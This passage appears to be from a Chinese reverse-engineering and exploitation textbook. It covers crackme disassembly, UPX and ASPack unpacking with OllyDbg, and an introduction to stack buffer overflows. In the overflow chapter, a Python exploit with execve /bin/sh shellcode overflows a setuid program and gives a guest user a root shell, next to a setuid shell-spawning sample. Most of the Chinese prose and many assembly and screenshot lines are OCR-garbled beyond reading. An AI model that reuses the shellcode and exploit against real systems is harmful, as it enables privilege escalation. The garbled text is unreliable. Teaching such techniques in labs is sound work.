00401032 push offset aOnDebugger ; "on debugger\n"
00401037 call ds: imp printf
0040103D add esp, 4

00401040 or eax, OFFFFFFFFh
00401043 pop ebp

00401044 retn

00401045 loc_401045:

00401045 mov eax, [ebptarg 4]
00401048 mov eax, [eax+4]
0040104B mov ecx, offset aXxxxxxxx ; "xxxxxxxxX"
00401050 loc 401050:

00401050 mov dl, [eax]

00401052 cmp dl, [ecx]

00401054 jnz short loc 401070
00401056 test di, dl

00401058 jz short loc 40106C
0040105A mov dl, [eax+1]

0040105D cmp dl, [ecx+1]

00401060 jnz short loc 401070
00401062 add eax, 2

00401065 add ecx, 2

00401068 test dil, dl

0040106A jnz short loc 401050
0040106C loc_40106C:

0040106C XOor eax, eax

0040106E Jjmp short loc 401075
00401070 loc 401070:

00401070 sbb eax, eax

00401072 sbb eax, OFFFFFFFFh
00401075 loc_401075:

00401075 test eax, eax

00401077 jnz short loc 401091
00401079 push offset aCorrect ; "correct!\n"
0040107E call ds: imp printf
00401084 add esp, 4

00401087 call ds: imp getchar
0040108D XOor eax, eax

0040108F pop ebp

00401090 retn

00401091 loc_401091:

00401091 push offset aAuthError ; "auth error\n"
00401096 call ds: imp printf
0040109C add esp, 4

0040109F or eax, OFFFFFFFFh
004010A2 pop ebp

004010A3 retn

WARZEE— MILH L JE A, BT ? Joie 2 REFr @ HMRE, 2 X B2



TR, URBEIAR, SREAFMRIT bR, XXRTRBES MT I B A HE 7
(T 2

AT UPX #TH.

\E AN

II

C:\upx308w>upx.exe packed.exe
B
File size Ratio Format Name

7168 —-> 5120 71.43% win32/pe packed.exe
Packed 1 file.

221[]% packed.exe TE N ZHUEAT upxexe, RJ5 packed.exe &7 ii W41 UPX R4 )5 113

N ATIFH DA AT IFEF



Graph overvie

A fTH )51 packed.exe 1

%]




B IDA View-4 E”E“E

loc_407A30:
adc ecx, ecx
inz shart loc 407454
[t
¥
HNL BN Ll
inc ey
loc_4074C4:
e, eax, Ledil
or eax, eax
iz shart [oc_407B06

— | i

Y ¥
BN BN Ll
Mo ebx, [edi+4]
lea eax, [eaxtesi+71B8h] loc_407435:
add ehbyx, esi add ehi, ehy
push  eax inz short loc_ 407440
arld adl @ —

100.00% (769.2300) | (3831650 | 00OOODCO | O04079C0: start

A 1195 1) packed.exe 2
ATLURIL, B E A T .

H 3t Wl gm i 28 57 T T $AT 3CF, AT o4k 3] correct! auth error S5 FRFH . AR
R R P AR A e 2%, X E T R 28 Bt By (b0 m) LR A 5L A o

2.2.4 K ik B AT HRAT SCPF AR s 4 - iR
“REARA LA TR, A — e A il s 4 i) TR »
PREJERIEW] T B SR H N R ST 0% IR 4 0 n] AT SO s 4 1) T B Ok i 0, 2

(unpacker) -

—ORUG, FT AR AR AT S HAH ELULAC A, B0 ASPack B AR UPX AUMECLAS.
NS 4, UPX Moy LTI, oy RN b -d e 5iugh ] LBEAT i 1

(T UPX Z4h, DABFIEi A TR HIR T s, W5 BT H iR, ik, 280
WREEA T HEAETI5ER, s ] UE LS =T ffE e T A .

FOB“Tsh e, i3, Hie FRRAR R R 4 oy BRER vT JAT SCAFid PR 48 2 8, P8
7T AAE R RO s 4 i P A T 508 3 3SR A

AR, BERMIT ARG SRR, I R AR A B I B SO AU s ik e i AR A T
JNTRIRE o ST 0 s IR 0 B PE o M dhiliE 1 AR 22 R«

/EijﬂD UPX JEAE—#3 L AN H T2y, BRItk H 2 b -d S04 71— Ut vl LA
7.



AN

C:\upx308w>upx.exe -d packed.exe
B
File size Ratio Format Name

7168 <- 5120 71.43% win32/pe packed.exe
Unpacked 1 file.

JRUE TR R B —R—FE, (HER/DIAEIRA T DL IDA SKHIT 08 T »
2.2.5 Wi TFE ARG UPX Sk HE g 5 T4 s 3

Ak, BATGEEN B3RP R A r s B, R S IRk — N e
UPX 43 RE)T .

AFFFT R RO AR, UPX &R f L i4T as, b+ oridE & H k2R
e NIFATZR— P UPX 4T packed.exe #EAT T2l 40

5%, BATH OllyDbg T JF packed.exe. XX FATAEH —~IH4E OllyDump 1) OllyDbg fdif}:,

WHAFEH  OllyDump.dll Ei#l% OLLYDBG.EXE FrfefIHZE R, XFERA AT LA
OllyDump #if: T .

e OllyDump

http://www.openrce.org/downloads/details/108/OllyDump
Vv i2fr4i R

004079C0 > $ 60 PUSHAD
004079C1 . BE 00704000 MOV ESTI,packed.00407000
004079C6 . 8DBE OOAQFFFF LEA EDI,DWORD PTR DS: [ESI+FFFFA000]

F OllyDbg 1 JF 2 Ja, FATRE— FITkH pushad $54 . pushad $52 HI T HE K T A &5 A7 2%
PEROE (CEHD 20k, AT BAE A 20X, etk B8 4katizfr. XHEAHZ
M, WL F8 isAT M LA T o

7 T — B F8 Z e, AT RINAEFPAE A M BEN T — M.


http://www.openrce.org/downloads/details/108/OllyDump

AR EXRRAES

004079D0 > 8A06 MOV AL,BYTE PTR DS:[ESI]
004079D2 . 46 INC ESI

004079D3 . 8807 MOV BYTE PTR DS:[EDI],AL
004079D5 . 47 INC EDI

004079D6 > 01DB ADD EBX, EBX

004079D8 . 75 07 JNZ SHORT packed.004079E1
004079DA > 8B1E MOV EBX,DWORD PTR DS: [ESTI]
004079DC . 83EE FC SUB ESI,-4

004079DF . 11DB ADC EBX, EBX

004079E1 >~72 ED JB SHORT packed.004079D0

X BGRRIEA N, BAVTAIE— F RN EHE, SN esi AL edi
ﬁi&ﬁﬁtﬁ’%@%&ﬁo MEHRIHER, B edi BUMBHERTBLE B, X HEMN 00401000 UG 70
EAT A o

P 144 F8 4kslizdy, WEREE F8 AWML, nl LAAEACHS Bl — B 7] & k3] popad 14, A&
JRAEIXHEBE MW Rl I FO 1247 2K AL«

vV igfrgi R

00407B66 . 61 POPAD

00407B67 . 8D4424 80 LEA EAX,DWORD PTR SS:[ESP-80]
00407B6B > 6A 00 PUSH 0

00407B6D . 39c4 CMP ESP,EAX

00407B6F .~75 FA JNZ SHORT packed.00407B6B
00407B71 . 83EC 80 SUB ESP, -80

00407B74 .~E9 C897FFFF JMP packed.00401341

FATAT LLE 3] popad FIIAZLAL, 75 00407B74 5 —A jmp 154, 1% F8 Hi247 8 jmp 54
iHh Ty, 2R 00401341 ZhF—4 call 384 |

ABEXRRAES

00401341 E8 83040000 CALL packed.004017C9
00401346 "E9 B3FDFFFF JMP packed.004010FE



7E 00401341 IXAME, FATTHT I OllyDump,
Dump debugged process.

miili OllyDbg > H.H1 1] Plug-in — OllyDump —

OllyDump — packed.exe

Start Address: |“'r':":":":":I Size: |E“:”:":|
[7ac0 > Modiy: [1347 GetEIPasOEP | Cancel |

Base of Code: |.'-"EIEII:I Base of Data: IEUUD

W Fix Faw Size & Offzet of Dump Image
Section I Yirtual Size | Wirtual Offzet I Faw Size

Entry Paint:

| F aw Offzet I Eharactaristicsl

LF=0 0000&000 00001000 0000&000 00001000 E0000030
LR 00001000 0000 a0 00001000 00007000 E0Q000040
T80 00001000 000a2aa0 00001000 00002000 Cooooo40

¥ Rebuild Impart
" Method] : Search JMPIAPI] | CALLIAP] in memory image
o EMethnd__E_ : Search DLL & APl name string in dumped File

A JH OllyDump ¥ P £7 v 1) R] AT B8 % ik 1) SC1F

FEXTTEHES: 1 A ) Rebuild Import HHiE$E Method2, FHARIETNIR B ERIAE

P N oRALE 47 BT ¥ Dump 2410, PIAE IR R HRA T EC S5 0 fid B S0
XAEFATIE 1 T B R A

IAEFRATAT EAOCH] OllyDbg 1, A EBURZE ZEF—HE 00401000 DL A, Bl KEA
TR 2he 2

011¥Dbg — upEpacked. exe — [CPO — main thread, module upzpackel

File Yiew Debug FPluzinz Optionz Window Help

| EEN
JJJ JJ mi | 4 8] of LE|M[T|w/H[c|/[K|B|R[.|S| IZ|E
BA4A1866 FPUSH EEFP
BE481861 EBED MO EEF, ESP
Ga4a1@az| 5370 88 a2 CHP DWORO FTR 55: [EEP+21, 2
B8401887| 70 1F JGE SHORT upxpacke.@8@8481822
BEd4EiEEs) &8 F4z2B4800 FUSH upupacke.8@48268F4 ASCII "4packed.edes <password:@"
EE4A1EEE| FF1S ASZa4888 CALL OWORD PTR DO5:[482EAE] MSUCR188.__p_ iob
EEdE1El4| B5CH 48 ROD ER, 48
BEA4E1817 S8 FIUSH ERX
EA4A1E1E) FF1E ABZa4860 CALL OWORD PTR DS:[48268RE1] MEUCR1EE. fprintf
EE4E1E1E| 23C4 @S RAOO ESF, 2
GE4a1Ez21| BE 0la88a8s HMOL ERE, 1
Ba4a1826( 50 FOF EEF
BE4E1827( C3 RETH
EE4A1E2E) FF1S BEZa4888 CALL OWORD PTR O5:[48268861] kernel32. Is0ebuagerPresent
BE4E18ZE( B5CA TEST ER&,ERH
EA4E1E3E(~7d 13 JE SHORT upspacke.B@@d461845
EE4A1EZE| &8 AC214888 PUSH upspacke.BB4E21@0C ASCII "on debugger@™
EE4E1827) FF15 R4284880 CALL DWORD PTR DOS:[482@R41 MEUCR1EE. print f
Ga4a1Ez0| 23C4 a4 ROD ESF, 4
Ba4ala4@| 83C8 FF OF EAH, FFFFFFFF
BE4E1843( 50 FOF EBF
BR4A1844( C3 RETH
AE4E1845( BS8B45 BAC MOW ER:, OWORD FTE S55:CEBF+C]
EAdE1E4E) SE4R A MOW ER:, OWORD FTR OS5: [EAXR+4]
EE4A1E4E| B9 1C214888 MO ECE, upspacke. 88482110 ASCII "unpackina™
EE4E1856( SA1E MOy OL,BYTE PTR DS:[ERX]
Ga481852( 3A11 CHP OL,BYTE PTR DO5: [ECK]
B8401854|~F5 1A JHZ SHORT upxpacke. 88481670



A UPX f# K 45 2 5 A

Ak, W REKH IDA FT9F S RS0, R JEE— FHubE 00401000 LG AR, Wiz A13k,
MW 9n S A —Bi—FF

M4, FA1H OllyDbg A1 OllyDump FJEAg T A4 We ?

BRI, R FT R A 0 ) A8 R 4 iR 858 AR ESAE OllyDbg _LizAT, AR5 Ffid s
g BN T HATE R H OllyDump #4421 S0 . HisZ,  FF3k11) pushad Al 511 popad
Hh ] )02 AR T AR R 4 TR R T

HARKAL, BTS2 00, 508 a1 s e RS R 2R, MR 4ass R 2 Jn
MR PR A raIREs . XK, FARPMEMWE R T is1T 4612 7 2 Ay PRAs,
S EAIEAT IR =46 2 J5 B B R FE AR .

A EAN, HIGE T A XN R HE, K — @ S AR S e i s 46, AR
JE VI RN B ERE . R el BAUE, T3 A 1 SR it 2 <k B MR IR 4 R e 45 R i Bk Te) (fvr
H) 7.

2.2.6  JHHE AW S ASPack HEAT AR AL

AT UPX &5, Fidikskik—~ ASPack HIfi#fl. ASPack W% #ihi s nf LA NI
¥t T 28

3 AR BA R TR, 2 30 RPN, —FHTE

e ASPack Software

http://www.aspack.com/

% ASPack 2.28

"Windz ExE, DLL compressor

UNREGISTERED

Yersion 2.28 o

Open File | Enmpressl Dptinnsl &bout i Help i

File informatian

File name

File gize [before comprezszion]

Hiztory



http://www.aspack.com/

A 53 ASPack

X1 ASPack FIfEAD, FEARTTVEME R pushad AHX Y] popad. HANIE, RIS Y
1] popad JEF RIE, DRI TRAT] 7 ELA5 P R4 T 5

A, WA S A BATTH T R R T 25 A A DX g 2

sz, FRAITZ T BT S, HERGSI N 1Z MY AR <At W

SERR b, AR i SR ERAR R A, A TR R E r A E PR A B R T

0xCC (int3h) . ALPEZRIES] 0xCC 54, S EAE RGE K H RS RS, Bk, R
IR TS E BN 0xCC,  mi T AAEAT = I TR R B Wi R P 1E T .

A, AEAEET R OE B —[FI e 2 AR W S — 4, AW St ] PR W R e aE AT I m)
Wes K IR, HEIFIEET 0xCC 84 K5I, Ml HEE NFAEes (DR & fias)
K SEHL

LAk, BRI AN RS AE TR AL B TR P as T, b n] DLSEI—Le 8 Ly b, 47
e ) 45 5 ik 5O\ B isf e ey S Bk S B I rp A . )i ul, A A
EEAR A T s ) D e Lo — 1,

“RRAR UL, AT Ha AR AR AN L T 2 AT B R A T g ?

BEHAR Ty R, DO PR W AR AT R o A IR PR v AR R AT PRI, (R W 0
HEWCHE 4 > (B ALELES Kot T 4 MELFR D, BRI EATIE 2 25 F BRI

FERATIRAT 7 i fe B3] 0xCC I e S BB wi TG DU, — e A PR A 4

4 IX LIRSS, STRAE I WAF S NG 1 AT iy, 2o 78 ol LR (R BPE T e, DL MK L B P B I . ——

H OllyDbg T Hl ASPack TR A $AT 3, S E/REL M a2
v

ot e
S A
00406001 > 60 PUSHAD
00406002 E8 03000000 CALL packerpa.0040600A
00406007 -E9 EB045D45 JMP 459D64F7

AT —HAE e, HxEheskd]—14 POPAD, (HEXFELKZET, FAT0 LI 00401000 Ml
BE—MEER A . BRI, WREME RGBT ASLRs ZaHUH], IBAXANHhEA
Al EAE 00401000, FEIXFEIE O T 6t H gEAleafe it B & 24k POPAD 7 .

5 KT ASLR KA 3 HilAT N . —FHE



ERIGmtd %~ Crl+G,  AES H RS TEHE - 465 A <004010007, X Sl g il 1 H &
00401000 LS R4 4 o

V izt R

00401000 10 DB 10
00401001 4B DB 4B
00401002 34 DB 34

T A AT EIE C B A A, TR AR X S s & To v T S dm )
R RIRATTAE 00401000  Abi B — MR A, #4448~  Breakpoint — Hardware, on

execution.

011¥Dbg — aspackpacked. exe — [CPU — main thread, module aspackpal

File View Debuz Fluginz Optionz Windew Help

'JJJ_LJ_ELLJﬂ3ﬂﬂﬂJJJJJJJJJﬂJEﬂiJ

5 : A | Regi
aa4a1aa1 g 4E ) o
Aadgiaos| a4 OB 24 Eacloup ' S|
BB461 063 El O Eil Co b — B
Gp4ologe| 18 BB 12 = EB: -
i 3
fb4alons|  an BE 3 e EEF |
waie & . s ot |
aman % e o o — cte
moiel i e | 1
s o e S : =
pman e & el i e
SS&S%S%E ?g EE ?g Hit trace k Conditional Zhif14F2
ARAE1E14 ] OB &0 Fun trarce L4 Conditional log Shift+F4 i
Syl 15 [ Bun to selection F4 |
SS:S%S%% Eg BE Eg Hew origin here Ctrltiray * = !
Bo4algls| &4 BB &4 Go to M| Memory, on gccess |
Bo4oiniE|  on BE o0 Follow in Dunp bl Memory pmiaeile :
AR4B1E10 61 OB &1 |
SS:S%S%E EE EE EE Search for r Hardwars, on execution |
gl Bl DB 21 Find references to 4 i
BRG] AZE ic OB 1C L
AE4E1 821 [=4=] OB G2 Vi , Set real SFY entry here
AR4E]B2D EA OE ER -
BR461023 132 OB 12 Copy to executable ,
Analw=is 4
: -— = : Boolmarlk k 1
Address | Hex dump ASCIT TLET RETURM to kernel32.FLE1THET
I = FCoB0ZAG| ntdl L. PLIS000%
OB4OC006| Be o0 GR B0 6B 06 68 06| B85, . ...,
OR4EZRAS| 29 91 BC 45|02 36 55 DB| ) PFRL Dump debugged process ;FEEEEEE
R e
m 3
BE4E5620| 66 26 EC S8 9E CA D8 85 k&zmﬂ hppearance @1 2FFLE
L - S

SE03eEEH

AR4AZAZSLFF FR 4R ARLAR AR AR AR

A VB AT A
IXFEHI RS e
ROk, % FO IsITRER, AREREFFSAE 00401000 4bH Mz AT



ULy, AT PATEE ek TR, W LR Bon I g AR, AT LU R
Ctrl+A, OllyDbg 4> B 7 AT AR AR

\ B RN (]
00401000 /S 55 PUSH EBP
00401001 | . 8BEC MOV EBP,ESP
00401003 |. 837D 08 02 CMP DWORD PTR SS: [EBP+8],2
00401007 |. 7D 1F JGE SHORT packerpa.00401028
00401009 |. 68 F4204000 PUSH packerpa.004020F4
0040100E | . FF15 A8204000 CALL DWORD PTR DS:[4020A8]
00401014 |. 83C0O 40 ADD EAX, 40
00401017 . 50 PUSH EAX
00401018 | . FF15 A0204000 CALL DWORD PTR DS:[4020A0]

011yDbg — aspackpacked. exe — [CPU — main thread, module aspackpal
Eile ¥iew Debuz Fluginz Optionz Windew Help

S Wx| wn| w4 gl W] i LIE[M|T|WH|[C|/|K[B|R|.|S| ]I

[s 55 FUSH _EEFP

bE4Al@aal (| . SEBEC Moy EEF, ESF

Aadaiaaz(l . 8370 B2 A2 CHF OWORD FTR S5:[EEBP+21,2

BR4A1887 (| .~70 1F JGE SHORT aspackpa.d@d4@iazs

HE4E1EE9] o 68 F4284088 PUSH azpackpa.B@4826F4 ASCII Epacked exe <passwordHE"
Gad4aiasE|l . FFIS AS28458086| CALL DWORD PTR DS: [482G6A%] mewcrl@d.  p_ iob
BE4aiai4(| . 83CA 48 AOD EAX, 48

oa4E1a17(| . 58 FUSH ERH Shrean

Fa4Aials(| « FF1IS ABZA4E868) CALL DWORD PTR DS: [48268A01] fprintf

BE4E1A1E(] . 83C4 B8 AOOD ESF, 3

Fadaiazl|| . BE DlEE@aaas MO ERX, 1

AR4a1825() . 50 FOF EEP

BE4E1827() . C3 RETH

Gadaiazz(| » FFIS 8824886 CALL DWORD PTR 05: [48268a] CI=D=buggerPresent
BE4a182ZE(] . S5CA TEST ERX,ER

oad@lasal| 74 13 JE SHORT aipackna BE401845

HE4E1IEZZ2 ] « 68 AC214088 PUSH aspackpa.@@da21oc format = "on debuggerd™
FR4E1E37 (| . FF1S RA42848868) CALL DWORD FPTR DS: [48268A41] printf

Aadai@azofl . 25C4 @d AOD ESF, 4

pR4aia4all . 83C8 FF OF ERHX, FFFFFEFF

og4aip43|| S0 Pop._EBP

A AR AR
JE R AN UPX 58— T, HZEH OllyDump ¥ 303, AL TAERRER T .

AF R IATSL B T X UPX NI ASPack Wi, Bribz Ak, i e HRZ ALK s, W
RATGBATE, rTLAER S R AT Ay, A S TR D

B%E?ﬁ%j(%iaﬁi s B ABE, HAT S A BLas ] DU RE TR IR 2 1D 45 1 5 I
Iﬁt“ED@WB&TX’EVﬁ@Bﬁﬁ 9 HERE B I I LA R S 162,
ﬁ“‘é@%&iﬂﬁﬂiﬁﬁﬂﬁﬁ/ﬁi”

LR Wil 38T NET %5 19N H F& 7

NET WixitAl Java 28 L, EgmiEi SR —FY4E MSIL (Microsoft Intermediate
Language) EI'JEPI‘Eﬂim‘E, Jﬁﬁf 247H i CLR (Common Language Runtime) %48t il A 1
* e MR LG 5o Bk, 1 Java —FF, X NET [T aAH ST MSIL 1%
ﬁ o



FHICH) [ gt 7 v LA ONET Reflector 8.

NET Reflector 8

http://www.red-gate.com/products/dotnet-development/reflector/

® NET Reflector 8.1.0.35 - 13 days remainine Mi=1E3
i File Edit Wiew Toolz Help
QOIPHE =B P W v || NET45 ™| ]
Search Chject B CHr-F) - -
| earch Ohject Browser (Cir | Q % Form v X
H {} <CpplmplementationDetailzs> ~ } =
H {} <CrilmplementationDetailz> M ) ] B
e ¥ sampledotNet |{:urwate clazz EnumThreadWindowsCallback
= “i Forml £ Fields
= ) Base Tvpes private Lizt<HandleRef> ownedWindows;
= V‘fﬁ avetem Windowsz Forms.Form £/ Methods
® “i¢ ContainerGontral internal EnumThreadWindowsGallback O
Derived Tvpes internal bool Gallback dntPe bidhd, ThtPte Paramd;
o ¥p ! .
& cior0 internial void ResetOwners(;
_'x ."F — | internal void SetOwners (HandleRef hRefOwnert;
4% FormlQ: Vai
Eil‘ﬁ' buttonl_Click (0bject, Eventéres? : Void ] ] ) )
;& Disnosé{Boolsan) : Void |{:urwate clasz Security ToolTip : [Dizposable
4% hitializeComponent : Woid £ Fields
4@ buttont : Button F'ri\“aze ||:_100| first;
: ; private Form owner;
g¥ components : Gontainer private string toolTipText;
H {} =td private ToolTipMativeWindow window:
H {} vcattributes —
2 w £ Methods
& [ Besource internal Security ToolTip(Form ownerd;
public void Digpose(;
private void FurmHandIeGreated{Dh{{:ct gender, Eventfres el =
private void FormLocationChangediobject sender, Eventfres el
private Natwel‘lﬂet{klods TJOOLINFO T GetTODLINFOC' "
wadivimm ] imid Danfbenl val ceeraeCiesth —
( | Ifs | )

A STH NET %5 1) EXE SCAFE 4T & 9 PR 11 45

XﬂD Java M1 NET 45 HN R PR, 390 1) TAR B H RO AN & Tl e A S g 4 —
s AT o A, i R I S e Rl SR AR IRAS YA . I, XS F Java Al
NET PRI [i0) TR B 7 2 (0 5 AR BT L A DR ) P I AN AT Y

N —4%, A LRE BRI IE = S PRI AR, 10— S TR RS E A e ST A
FES GRS A, I PRI 5 T R Z AR e LB BT BT o


http://www.red-gate.com/products/dotnet-development/reflector/

35 FABCE R IR BEAT B

AE R, JATTR R F A A A XS AT Ba 7 s, BLR na fr 4
BRAT o3 Bl o

PN Y e o 5% N b\ W L A O a0 S e il e I M I A B G E A R P 1
S se e TP T R L, RYE P AAR D, BB A
gj}%'thﬁgji EIRAEIX A U I EE BT A AR R, EL S — D5 1D, AR I I A
R ITAE o

ZHTBATHEAE Windows IAEEHRPHERY, MIXHEITIGIA TR Z A FreeBSD LA Ubuntu
Linux SKEHTUHR 7. HA, BRATSE FreeBSD P& Lidn <RI HZZ M X i T ERAR
fih”, 7¥ Ubuntu Linux b y8 7B Xty KR
ARG B AINLIA ST, nT AT T bk B3, X P A~ BE A il LA VMWare Player ok
S

e VMWare Player

http://www.vmware.com/products/player/

e FreeBSD-8.3

http://07¢00.com/tmp/FreeBSD 8.3 binbook.zip
e Ubuntu-12.04

http://07¢00.cony/tmp/Ubuntu-12.04_binbook.zip
XEEFAR A G T A A R

e FreeBSD
/44 : root; 4. root
H 4. guest; #0: guest
e Ubuntu
4. root; #fd: guest
4. guest; Zfd: guest
AT A e


http://www.vmware.com/products/player/
http://07c00.com/tmp/FreeBSD_8.3_binbook.zip
http://07c00.com/tmp/Ubuntu-12.04_binbook.zip

3.0 FIHIZE R DX SRR AT A R AN
301 SIAZE M DX Y s iR P

TERAF R 22 Al T, SErh Ui (buffer  overflow) JEf A BT Z —. FiFKDE, 2%
PR H A < A R TR RS A AFETE L B S SO e R A R

AT, KM NIRRT e A ERERNER GRS I
chap03\FreeBSD 8.3 x86) &

V samplel.c

#include <string.h>
int main(int argc, char *argvl[])
{

char buff([64];

strcpy (buff, argv([1]);
return 0;

\ X RN

$ gcc -Wall samplel.c -o samplel
$ ./samplel ‘python -c 'print "A"*70'’
Segmentation fault (core dumped)

samplel.c IXANFE P A S i X i HH s T o

XAREF A buff AL AL T3k 64 T NAFASTR], (EALSEATRE P S5 argvl 1] A2t T
ERHANR, IS HN K ERA R 64 7717,

strepy  BRAUH TR BIFAF R, —HEGIRI PR S GH, &R0k, Kk, =4
I B AR — AN 64 A AT RN, S AE main REP SR G0 X

i@ﬁ@@ﬂ%ﬁ“%ﬁk%ﬁ%ﬁﬁé4?%ﬁ,ﬁ%%ﬁ%%ﬁ%ﬁﬂﬁ%%iﬁm%b
T

3.1.2 ik A R A B SR BR IS AT RE
Linux A FreeBSD WA A RAS SO [ iy 2 “passwd” s A — R PRATAE



/etc/master.passwd. /etc/passwd Fll /etc/shadow 2571, A root AR 1 P A& i B X £ ¢
(GRENP

SR, AR AT root A REBHCE Y, AHBERBLSIRA T, FRIATHZE LTI
FI B R I I A5 L 2R AR, XA L2 setuid. setuid FRIZHAERE LR A TR 1
P B BRI AT R

HAPKE F XA T
\EAWN

$ 1s -1 /etc/passwd
-rw-r--r-- 1 root root 1020 Nov 8 11:54 /etc/passwd

Jetc/passwd SCAFAS FRVFFR root LAAMIIH A HATE AN, {H passwd fp4%rlLL (G setuid Al
HD G EL root AR KIEAT .

\ X RN

$ 1s -1 /usr/bin/passwd
-r-s—--x--x 1 root root 12292 Feb 22 2001 /usr/bin/passwd*

5 RFIE BRI 157, X [1“s”F iz 53 H setuid.
T sample2.c /& MRTFRFIFET, 2 execve BRECKIZAT /bin/sh,

V sample2.c

#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argvl[])
{

char *datal[2];

char *exe = "/bin/sh";

datal[0] = exe;
data[l] = NULL;

setuid (0) ;
execve (data[0], data, NULL);
return 0;



HAIH root BRI i%AE?, RJFBLE setuid.
\E RN

$ su

Password: fiAroot#ig

# gcc -Wall sample2.c -o sample?2

# chmod 4755 sample2

# 1ls -1 sample2

-rws--x--x 1 root guest 4832 Sep 3 07:47 sample?2

IX B AT A B sample2 IALBRAZ %, T “rws”, IXER/RNCL G H T setuid.

PRI LA IE A P ARSI TN LR, S root AR execve BREL. XFE—K,
MIE H P& A root AR JH Bl /bin/she , 31X 431G

1 /bin/sh & UNIX KRGS R, WERHT root BURJAS) T8, At 4T 7T LA root BUMRGS RGEHATARMT AT . ——FHTE

\EEAwN

$ whoami
guest

$ ./sample2
# whoami
root

4K, —AE O FHERA S ARXAERFE P E setuide AT, 1R samplel XAEHIEF—H.L
P ERMIETT, s LG X e AR, A Bk B < BORLBR

3.1.3  BUPR A& ey gl < B
N IHFRATTRE — AN BRI 1

WATES— IR FRE sample3.c, PLAK HHA T B ZF AR Y exploit.py. AR
A AT J5 AT RS, WG R8T — N EFE .



V sample3.c

#include <stdio.h>
#include <string.h>

unsigned long get sp(void)
{

asm__ ("movl %esp, %eax");

int cpy(char *str)
{
char buff[64];
printf ("0x%081x", get sp() + 0x10);
getchar () ;
strcpy (buff, str);
return 0O;

int main(int argc, char *argv([])

cpy (argv[1l]);
return 0;

V exploit.py

#!/usr/local/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
addr = 0x41414141
else:
addr = int(sys.argv[l], 16)

s = mw
+= "\x31\xc0\x50\x89\xe0\x83\xe8\x10"
+= "\x50\x89\xe3\x31\xc0\x50\x68\x2f"
+= "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
+= "\x89\xe2\x31\xc0\x50\x53\x52\x50"

"\xb0\x3b\xcd\x80\x90\x90\x90\x90"

+= "\x90\x90\x90\x90\x90\x90\x90\x90"

+= "\x90\x90\x90\x90\x90\x90\x90\x90"
+= "\x90\x90\x90\x90\x90\x90\x90\x90"
+= "\x90\x90\x90\x90"+pack ('<L"',addr)

n n o n n n n o on
+
Il

sys.stdout.write (s)

AN

# 8
#16
#24
#32
#40
#48
#56
#64
#72



$ su

Password:

# gcc -Wall sample3.c -o sample3
sample3.c: In function 'get sp':
sample3.c:9: warning: control reaches end of non-void function
# chmod 4755 sample3

# exit

$ ./sample3 ‘python exploit.py’

Oxbfbfebe8

Segmentation fault

$ ./sample3 "'python exploit.py bfbfebe8 ™"
0xbfbfebe8

# whoami

root

sample3.c 1] cpy PRELA TG4 N 05 B 5 R AR A H &2 ) 21— R 64 AN AE 2R
BT/ 2 B P ERAR, B Gk exploitpy 4 45 i A2 sample3.c, kAl
LRI LT & (root) M PRIZAT T /bin/sh.

3.1.4 KR a0 el P AE A TR) Y

iﬁﬁ‘]ﬁtfﬁiﬂﬁ/xxﬁ%ﬁi%%‘? LI — JRBE,  BATIAT 0 AR SE AT A5 A A7 22 Tl (R T 46 DF
g,

FIe PN 5, G i B 1 B 18 el < MR OR I 1o HOFANE — R BE
FREYAAAERNRD, e EE R A, RS A K AT IR R AE AL
Co

> 1] b AE N K

SEPRAEAR I TAE IR B, A0 A push. pop 82 FHEH — T 45

bifffGe8 bffffec  bffff6T0  bffffG6f4  bIfff6i8  bfffféfc  bffff7/00

R IRIEATI, e e i GEbl) o RIARAAL &4 bffffofc (ebp=esp) .



SR, FeATR B offffefc T C&AF A — 0x01. i KFEIEE—F NP esp. ebp Al bffffofc
ik A

esp = bfffféfc
ebp = bffffBfc

00000001

biffice8 bffffcec bffff6f0  bffffetd  bffffefg  bffffefc  bffff /700

bffffofc EN 0x01. FEXARE T, WRIRATIAT push FEL2-Wm W ? Hltn, FeATA] LA
1T push 0x02.

esp = bifff6f8 ISR
ebp = bifti6fc  EHytiest 7

/

00000002 | 00000001

bifff6e8 bffffGec bIff6I0  bifff64  bifHf68  biffiéfe  biff700

e FL bR PR A 0x01, 1 0x02 # A5 A7 SAHAR (K Hubik o T

0 BENEFE, A MJRTERT CRdhbigidor m) ). A BANIABHAT push 54, push
FRIELR 25 AN A7 N BT SEHT 1) N APk T o esp Z5 A7 2% T U CRAF T Bl A AR I N A b o



esp = bffffbec I EHE A
ebp = bfffféfc  EHqtisstrs

00000005 100000004 | 00000003 | 00000002 [ 00000001

bffff6e8 DbffffGec  DbffffBf0  bffff6rd  bfffterg  bffffefc  bffff/00

UL E R 0x02~0x05 FIMEFLEFF push I AR HPIRAS .

> I IR E A

N HEFRA KRS — T WA I B v 2 AR BRI B

M i i, FAT TS ] pop H54%, pop 472 & MRS AR AL bk B — 2% Hicls
H PR B AT S 1kt P AR I AN R IR AR TR Cesp)

esp = bfffi6f0 I sTiE1E
ebp = bffffGfc

00000004 | 000000035 (00000002 | 00000001

bifffi6e8 bfffféec bffI6T0 bifif6i4  biff6f8  biffffeic  biff700

N FRATTRIAT pop eax.

FATNINIE: 5 push A 0x05, IXAEME =45 56 pop oK. Kk, eax HIISHAEA
0x05.,



HHPAT—IR pop, FATHLECH T 0x04. 1R f&j 5.0,
X, esp MIME S & AEAMN AL, 56 bifffoec 28 1% bffffof0, SR )5 A5k bffffof4.

esp = bffff6f4  FFTFAX pop z [GHIE
ebp = bfffféfc

00000003 [ 00000002 | 00000001

bffffée8 Dbfffféec  DffffGf0  bffffef4  bffffbfg  bffffGfc  bffff700

REAAREIFRAE, R ESLAE M VA A AR R AR e BL T

g —32, s B TR, #RPU4E LIFO (Last In, First Out) , BIJEHEZGH . M5 BAFX 4L
HE4e B Y 4E FIFO (First In, First Out)

3.1.5  Buihi FH AT AR R AU
FA A e AR H 1R 45 4 b T B A5

V sampled.c

void func(int x, int y, int z)
{

int a;

char buff[8];
}

int main (void)

{
func (1, 2, 3);
return 0;

}

<
(N1
i
i
g



$ gcc -S sampled.c

WHANE S sampled.c, Fin L -S EIMBATH 155, RESHEK sampled.s A, XE
sampled.c Y418 505,

func PRECH =28, nilfkid T 1. 24 3 =ZANECF, 1 fune BREUN EBCH BEATATAT AL PR

V sample4.s

.file "sampled.c"

.text

.p2align 4,,15
.globl func

.type func, @function
func:

pushl  %ebp A Febp

movl %esp, %ebp 4%ebpi§iﬂfuesp5@ﬁi%§
subl $16, %esp

leave Pk E ebpHlesp
